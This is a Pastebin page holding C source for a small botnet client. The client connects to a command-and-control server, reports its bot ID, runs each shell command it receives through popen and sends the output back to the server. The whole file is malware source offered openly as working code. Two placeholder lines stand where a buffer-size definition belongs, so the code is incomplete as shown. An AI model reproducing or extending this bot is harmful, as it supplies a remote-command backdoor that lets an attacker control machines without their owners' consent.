Advertisement
Guest User

Untitled

a guest
Jul 1st, 2016
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.16 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <errno.h>
  5.  
  6. #include <unistd.h>
  7. #include <sys/socket.h>
  8. #include <netinet/in.h>
  9. #include <arpa/inet.h>
  10.  
  11. #define CC_SERVER "127.0.0.1"
  12. #define CC_PORT 9999
  13. #define CENSOREDDDDDD
  14.  
  15. #define PEXIT(str) {perror (str);exit(1);}
  16. static char *bot_id = NULL;
  17.  
  18. int
  19. bot_print (int s, char *str)
  20. {
  21. return write (s, str, strlen(str));
  22. }
  23.  
  24. int
  25. bot_read (int s, char *msg)
  26. {
  27. CENSORRED
  28. if (read (s, msg, MAX_BUF) <= 0) PEXIT ("bot_read:");
  29.  
  30. return 0;
  31. }
  32.  
  33. int
  34. bot_run_cmd (int s, char *cmd)
  35. {
  36. char line[1024];
  37. FILE *f = popen (cmd,"r");
  38.  
  39. if (!f) return -1;
  40. while (!feof (f))
  41. {
  42. if (!fgets (line, 1024, f)) break;
  43. bot_print (s, bot_id);
  44. bot_print (s, ":");
  45. bot_print (s, line);
  46. }
  47. fclose(f);
  48.  
  49. return 0;
  50. }
  51.  
  52. int
  53. bot_parse (int s, char *msg)
  54. {
  55. char *target = msg;
  56. char *cmd = NULL;
  57.  
  58. if ((cmd = strchr (msg, ':')) == NULL)
  59. {
  60. printf ("!! Malformed command. Should be TARGET:command\n");
  61. return -1;
  62. }
  63.  
  64. *cmd = 0;
  65. cmd++;
  66. cmd[strlen(cmd) - 1] = 0;
  67.  
  68. if (strcasecmp (target, "all") && strcasecmp(target, bot_id))
  69. return 0;
  70.  
  71. printf ("+ Executing command: '%s'\n", cmd);
  72. bot_run_cmd (s, cmd);
  73.  
  74. return 0;
  75. }
  76.  
  77.  
  78. int
  79. bot_connect_cc (char *ip, int port)
  80. {
  81. char msg[1024];
  82. struct sockaddr_in server;
  83. int s;
  84.  
  85. server.sin_addr.s_addr = inet_addr(ip);
  86. server.sin_family = AF_INET;
  87. server.sin_port = htons(port);
  88.  
  89. if ((s = socket (PF_INET, SOCK_STREAM, 0)) < 0)
  90. PEXIT ("socket:");
  91. if ((connect (s, (struct sockaddr*) &server, sizeof(server))) < 0)
  92. PEXIT ("conect:");
  93. snprintf (msg, 1024, "%s: This is '%s' Up and Running\n", bot_id, bot_id);
  94. bot_print (s, msg);
  95.  
  96. return s;
  97. }
  98.  
  99. int
  100. main (int argc, char* argv[])
  101. {
  102. char msg[MAX_BUF];
  103. int cc_s;
  104.  
  105. if (argc !=2) PEXIT ("Invalid Number Of Arguments:");
  106. bot_id = strdup (argv[1]);
  107.  
  108. printf ("'%s' joining the bn\n", bot_id);
  109. cc_s = bot_connect_cc (CC_SERVER, CC_PORT);
  110. while (1)
  111. {
  112. bot_read (cc_s, msg);
  113. bot_parse (cc_s, msg);
  114. }
  115. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement